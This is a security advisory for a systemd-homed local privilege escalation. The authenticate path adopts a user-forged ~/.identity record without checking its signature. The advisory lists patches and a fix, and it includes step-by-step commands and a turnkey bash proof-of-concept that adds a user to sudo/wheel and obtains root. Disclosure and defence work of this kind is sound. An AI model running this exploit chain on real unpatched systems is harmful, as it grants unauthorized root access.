GHSA-jm29-p7hh-vjhv
CVE Information
Impact
systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user
Patches
v262 (https://github.com/systemd/systemd/commit/0755bb125c04adc945c35dfec3349b48a4430075 + https://github.com/systemd/systemd/commit/765dc96746d699229af60e912bac90b710ee5798) v261.2 (https://github.com/systemd/systemd/commit/d392d17143423e7af0cdb5bd0f64b43da8952662 + https://github.com/systemd/systemd/commit/a7bce5b2052bdb098ad0729768c72e1df9a86adc) v260.4 (https://github.com/systemd/systemd/commit/0fb35a3a1578e677529fcd9fbd2a251761eb8f80 + https://github.com/systemd/systemd/commit/b7addfc2f7094670c4e3d6776e2d2fde298b2ebc) v259.8 (https://github.com/systemd/systemd/commit/4365d4a3b734e6ef6feecb4250ba3cd3edc42a23 + https://github.com/systemd/systemd/commit/7de1a48462ca936192570736441cd5243228a77f) v258.10 (https://github.com/systemd/systemd/commit/8735bb63b7902b6824f4d171bca994252eb04a71 + https://github.com/systemd/systemd/commit/04cba0a78da9d161c2f6426751d0460fb8193263)
Workarounds
Remove privileged system groups from the system (e.g.:
sudo,wheel)References
Original report follows
Affected component
- Package: systemd —
systemd-homed(systemd-homed.service,systemd-homework).- Configuration: default. Any host that manages users with
homectl/homed.- Affected versions: all releases of
systemd-homed— v245 through v261 and currentmain. Thehome_authenticating_finishhandler has stored the worker record without signature verification since homed was first introduced in commit70a5db5822c("home: add new systemd-homed service that can manage LUKS homes", 2019-07-04, first released in v245);git blameconfirms the store line (homed-home.c:1112) is unchanged since that commit, and the sibling verify calls were added in the same commit and never extended to this handler. The bug is present unchanged atv261and onmain.- CWE: CWE-347 (Improper Verification of Cryptographic Signature); CWE-269 (Improper Privilege Management).
- Severity: High. Suggested CVSS 3.1 8.8 —
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(local, existing unprivileged homed user, no interaction, scope change user→root). AdjustACif you consider the "keep-home-active + one fresh login" precondition to raise attack complexity.Summary
systemd-homedadopts the home (user) record returned by its worker/helper process (systemd-homework) into the manager's authoritative in-memory state without verifying the record's cryptographic signature on the authenticate code path — unlike the fixate and activate paths, which callhome_verify_user_record()first. (The worker runs as root but does not hold homed's signing keys — signature verification is architecturally the manager's responsibility, so a record that reaches the manager unverified is trusted by nothing.) Because record reconciliation selects the winning record purely by timestamp (no signature check) and honors the user-writable embedded~/.identity, a homed-managed user can forge security-relevant fields of her own record (memberOf,locked,notAfterUSec,pkcs11TokenUri,fido2HmacCredential,rateLimit*), have homed adopt and serve them overio.systemd.UserDatabase, and escalate to root.homed's entire trust model is that the user does not control the security-relevant fields of her own record — those are protected by a signature made with a key only homed holds. This path breaks that model.
Root cause
The worker holds no signing keys; the manager must re-verify any worker-returned record against homed's trusted keys before adopting it. Two of the three worker completion handlers do:
home_fixate_finish()—home_verify_user_record(h, hr, …)(src/home/homed-home.c:750) beforehome_set_record(h, hr)(:754).home_activate_finish()—home_verify_user_record(h, hr, …)(:841) beforehome_set_record(h, hr)(:845).The third does not:
/* src/home/homed-home.c — home_authenticating_finish() */ if (hr) { r = home_set_record(h, hr); /* :1112 — NO home_verify_user_record() */ if (r < 0) log_warning_errno(r, "Failed to update home record, ignoring: %m"); else { r = user_record_good_authentication(h->record); ... r = home_save_record(h); /* persists the unverified record */ } }The record adopted here is fully user-controlled and never signature-checked earlier on this path:
home_authenticate()(:1539) →home_authenticate_internal()(:1524) →home_start_work(h, "inspect", h->record, secret, …)(:1531). Completion routes tohome_authenticating_finish()(:1211) forHOME_AUTHENTICATING/HOME_AUTHENTICATING_WHILE_ACTIVE/HOME_AUTHENTICATING_FOR_ACQUIRE.- The worker
inspect(src/home/homework.c:1845) →home_load_embedded_identity(…, USER_RECONCILE_ANY, …)(:1867) reads the user-owned~/.identity(read_identity_file,homework.c:561; the file is created0600andfchowned to the user,write_identity_file:601/:620).user_record_reconcile()(src/home/user-record-util.c:180) chooses the winner solely bylast_change_usec(:221-272): a newer embedded record wins (USER_RECONCILE_EMBEDDED_WON). There is no signature check in the reconcile.user_record_authenticate()(homework.c:59) tests only the password/token — never the signature — so the user's unchanged password authenticates the tampered record.home_set_record()/suitable_home_record()(:268/:68) validate only name/realm/uid/gid suitability — they do not gatememberOfor any of the other security fields.The adopted record then crosses a privilege boundary:
vl_method_get_memberships()(src/home/homed-varlink.c:301) servesh->record->member_ofverbatim overio.systemd.UserDatabase(bound on/run/systemd/userdb/io.systemd.Home,homed-manager.c:1083), with no signature or trust gate —member_ofis a regular field.nss-systemd'sinitgroupsturns those memberships into real supplementary GIDs for any newly-established session.The
homectl authenticateverb is authorized for the record's owner with no admin credential:bus_home_method_authenticate()callshome_verify_polkit_async(h, message, "org.freedesktop.home1.authenticate-home", h->uid, error)(src/home/homed-home-bus.c:407) — passinggood_uid = h->uid, which bypasses the polkit admin check for the owner.Note that homed already knows this exact escalation: the online update path (
user_record_self_changes_allowed,src/shared/user-record.c:2515) carries a comment describing thememberOf:["wheel"]self-escalation and deliberately computes the self-modifiable allowlist from the current record, not the incoming one. That guard protectsUpdate()/ChangePassword()— but the offlineinspect/authenticate adoption path bypasses it.Reproduction (disposable VM only — this yields real root)
Do not run this on a production or shared host: on success an unprivileged user obtains root. Use a throwaway VM/snapshot.
Preconditions on a fresh VM with systemd (v246+):
# as root systemctl enable --now systemd-homed grep -E '^\s*%wheel\b' /etc/sudoers # this walkthrough targets Fedora/Arch, # where %wheel grants sudo grep -E '^(passwd|group):' /etc/nsswitch.conf # confirm 'systemd' is listed (homed default)This manual walkthrough targets Debian/Ubuntu, where the
%sudogroup grantssudo. On Fedora/Arch, substitutewheelforsudoin every command below (the group that appears in/etc/sudoerson that distro). The turnkey script further down auto-detects%sudovs%wheel.0. Create an ordinary, unprivileged homed user
# as root — --storage=directory keeps the PoC deterministic (no LUKS image); the bug is # backend-agnostic, so the system default storage works too. homectl create alice --storage=directory --shell=/bin/bash # set a password, e.g. "alicepw" id alice # groups=…(alice) — NO sudo1. As alice, activate the home and confirm she cannot sudo
machinectl shell alice@ # (or: ssh alice@localhost / VT login) # ---- now inside alice's session; her home is active/mounted ---- id # no sudo group sudo id # DENIED: "alice is not in the sudoers file" ls -l ~/.identity # -rw------- alice alice (hers, 0600)2. As alice, forge her own record: add sudo + bump the timestamp (no re-sign)
umask 077 jq '.memberOf = ["sudo"] | .lastChangeUSec = (.lastChangeUSec + 3600000000)' \ ~/.identity > ~/.identity.new mv -f ~/.identity.new ~/.identity chmod 600 ~/.identity # The signature section (if present) is now stale/invalid. That is irrelevant: # nothing checks it on the authenticate path. # (lastChangeUSec ~1.7e15 is well below 2^53, so jq's number handling is exact.)3. As alice, trigger adoption of the forged record
This runs the workerhomectl authenticate alice # enter alice's real password ("alicepw")inspect; the forged (newer) embedded record wins the reconcile;home_authenticating_finishstores it intoh->recordwithout verifying the signature.4. Observe the forged membership crossing into NSS (from any context)
# from alice's session, or from root, or anywhere: id alice # now shows the sudo group (e.g. …,27(sudo)) getent group sudo # alice now listed homectl inspect alice | grep -i member # Member Of: sudo5. Escalate: a fresh login picks up the group, then sudo → root
su - alice # fresh initgroups(); enter alice's password # ---- new shell ---- id # gid list now includes the sudo group sudo id # uid=0(root) ← PRIVILEGE ESCALATIONBefore/after money shot: in step 1
sudo idwas denied; after the attack and one fresh login,sudo idreturnsuid=0(root). alice was never grantedsudoby an administrator.Turnkey reproduction script (PASS/FAIL)
The same steps as a single self-contained script. It auto-detects the sudo-granting group (
%sudo/%wheel), creates the user, forges the record as the user, triggers adoption, asserts the forged membership is served by NSS, attempts the fresh-loginsudo → root, and cleans up on exit. Run only in a disposable VM (on success an unprivileged user gains root). Requiresjq.#!/usr/bin/env bash # systemd-homed SEC-026 PoC — RUN ONLY IN A DISPOSABLE VM (yields real root). set -u USER_NAME=poc_alice USER_PW='poc-Password-123' # the user's real password (she keeps it; auth still works) FAIL=0 say() { printf '\n=== %s ===\n' "$*"; } ok() { printf ' [PASS] %s\n' "$*"; } bad() { printf ' [FAIL] %s\n' "$*"; FAIL=1; } info() { printf ' [info] %s\n' "$*"; } [ "$(id -u)" -eq 0 ] || { echo "run as root (in a VM)"; exit 2; } command -v jq >/dev/null || { echo "install jq first"; exit 2; } command -v homectl >/dev/null || { echo "homectl not found — systemd-homed required"; exit 2; } systemctl is-active --quiet systemd-homed || systemctl start systemd-homed SUDO_GROUP=$(grep -oPm1 '^\s*%\K(wheel|sudo)' /etc/sudoers 2>/dev/null || true) [ -n "$SUDO_GROUP" ] || { info "no %sudo/%wheel rule found; group injection still proven, root not demonstrable"; SUDO_GROUP=sudo; } info "targeting privileged group: $SUDO_GROUP" cleanup() { say "cleanup"; loginctl disable-linger "$USER_NAME" 2>/dev/null||true; homectl deactivate "$USER_NAME" 2>/dev/null||true; homectl remove "$USER_NAME" 2>/dev/null||true; } trap cleanup EXIT say "0. create an ordinary, unprivileged homed user (NOT in $SUDO_GROUP)" homectl remove "$USER_NAME" 2>/dev/null || true NEWPASSWORD="$USER_PW" homectl create "$USER_NAME" --storage=directory --shell=/bin/bash || { echo "create failed"; exit 2; } # Activate (unlock+mount) the home so ~/.identity exists/editable and the later authenticate # runs WHILE_ACTIVE. enable-linger cannot unlock the home (no password), so activate explicitly. PASSWORD="$USER_PW" homectl activate "$USER_NAME" || { echo "activate failed"; exit 2; } loginctl enable-linger "$USER_NAME" 2>/dev/null || true sleep 1 HOMEDIR=$(getent passwd "$USER_NAME" | cut -d: -f6) { [ -n "$HOMEDIR" ] && [ -f "$HOMEDIR/.identity" ]; } || { echo "home not active / .identity missing (state=$(homectl --value -p State inspect "$USER_NAME" 2>/dev/null))"; exit 2; } info "home active at $HOMEDIR ; identity: $(ls -l "$HOMEDIR/.identity") <-- 0600, user-owned" say "1. BEFORE: user is not privileged" id -nG "$USER_NAME" | tr ' ' '\n' | grep -qx "$SUDO_GROUP" && bad "already in $SUDO_GROUP" || ok "id shows NO $SUDO_GROUP" runuser -l "$USER_NAME" -c 'sudo -n true' 2>/dev/null && bad "user could already sudo" || ok "fresh session cannot sudo" say "2. forge the user's OWN ~/.identity: add $SUDO_GROUP + bump lastChangeUSec (unsigned)" runuser -u "$USER_NAME" -- bash -c " set -e; umask 077 jq '.memberOf = ((.memberOf // []) + [\"$SUDO_GROUP\"] | unique) | .lastChangeUSec = ((.lastChangeUSec // 0) + 3600000000)' \ '$HOMEDIR/.identity' > '$HOMEDIR/.identity.new' mv -f '$HOMEDIR/.identity.new' '$HOMEDIR/.identity'; chmod 600 '$HOMEDIR/.identity' " || { bad "could not edit ~/.identity as the user"; exit 1; } ok "user rewrote her own ~/.identity (memberOf += $SUDO_GROUP, timestamp bumped, signature now stale)" say "3. trigger adoption: homectl authenticate (owner-authorized, only the user's own password)" runuser -l "$USER_NAME" -c "PASSWORD='$USER_PW' homectl authenticate '$USER_NAME'" \ && ok "authenticate ok (forged record adopted WITHOUT verify)" || bad "authenticate failed (see journalctl -u systemd-homed)" say "4. RESULT: forged group is now served by the system identity DB" sleep 1 if id -nG "$USER_NAME" | tr ' ' '\n' | grep -qx "$SUDO_GROUP"; then ok "id $USER_NAME now reports $SUDO_GROUP <-- crossed into NSS"; else bad "id does not show $SUDO_GROUP"; fi info "id $USER_NAME -> $(id "$USER_NAME" 2>/dev/null)" say "5. ESCALATE: a fresh session picks up the group -> sudo -> root" OUT=$(runuser -l "$USER_NAME" -c "id; echo ---; sudo -n id 2>/dev/null || echo 'sudo-needs-password'") printf '%s\n' "$OUT" | sed 's/^/ /' if printf '%s' "$OUT" | grep -q 'uid=0(root)'; then ok "ROOT: fresh $USER_NAME session reached uid=0 via sudo" elif printf '%s' "$OUT" | grep -q "$SUDO_GROUP"; then ok "forged $SUDO_GROUP present in a real fresh-login credential set (sudo needs the user's password for %$SUDO_GROUP)" else bad "fresh session did not gain $SUDO_GROUP"; fi say "VERDICT" [ "$FAIL" -eq 0 ] && echo " >>> VULNERABLE: unprivileged homed user injected herself into '$SUDO_GROUP'. A fixed homed shows NO $SUDO_GROUP at step 4." || echo " >>> Not reproduced — see output + journalctl -u systemd-homed." exit "$FAIL"Expected behavior with the fix
homectl authenticaterejects the forged record because its signature does not verify against homed's key;h->recordstays clean;id alicenever showswheel.Notes / robustness
- Keep the home active during the window: the bad-signature record is dropped by
manager_verify_user_record()on homed restart/SIGHUP(manager_enumerate_records→homed-manager.c:428) and byhome_activate_finish/home_fixate_finishon a full deactivate→activate cycle (homed-home.c:750/:841). While the home stays active it is trivially re-poisoned by repeating steps 2–3.- Existing processes are not retro-actively escalated (supplementary GIDs are fixed at login), which is why step 5 uses a fresh
initgroups(su -/new login) — trivial for a local user.- Backend-agnostic: works for
luks,directory,subvolume,fscrypt, etc., because~/.identityis edited inside the active (mounted) home.Impact
- Privilege escalation to root via forged group membership (
memberOf→sudo/wheel/docker/disk/shadow/…).- Account lock / expiry bypass: clearing
lockedor resettingnotBeforeUSec/notAfterUSecin the user's own record re-enables an administratively locked or expired account.- Authentication downgrade: dropping
fido2HmacCredential/pkcs11TokenUriremoves a required second factor for future unlocks; loweringrateLimit*weakens anti-bruteforce.All from data the unprivileged user legitimately owns, with no administrator credential.
Suggested fix
Verify before adopting, exactly like the sibling handlers:
/* src/home/homed-home.c — home_authenticating_finish() */ if (hr) { bool signed_locally; r = home_verify_user_record(h, hr, &signed_locally, &error); /* ADD */ if (r < 0) goto finish; r = home_set_record(h, hr); if (r < 0) log_warning_errno(r, "Failed to update home record, ignoring: %m"); else { h->signed_locally = signed_locally; /* ADD */ r = user_record_good_authentication(h->record); ... } }(Mirror of
home_activate_finishathomed-home.c:841-845. Thefinish:error label andsd_bus_errorare already present inhome_authenticating_finish.)Verification
Every load-bearing line above was read from upstream source; the line numbers match tag
v261(and currentmain). The full exploit chain was traced end-to-end through the code — from the missing verification inhome_authenticating_finish(homed-home.c:1112), to the timestamp-only reconcile (user-record-util.c:221-272), to the rawmember_ofservice overio.systemd.UserDatabase(homed-varlink.c:301), to the owner-scoped polkit bypass (homed-home-bus.c:407). No live proof-of-concept was executed (it would create a real root escalation on the test host); the reproduction above is written for a disposable VM.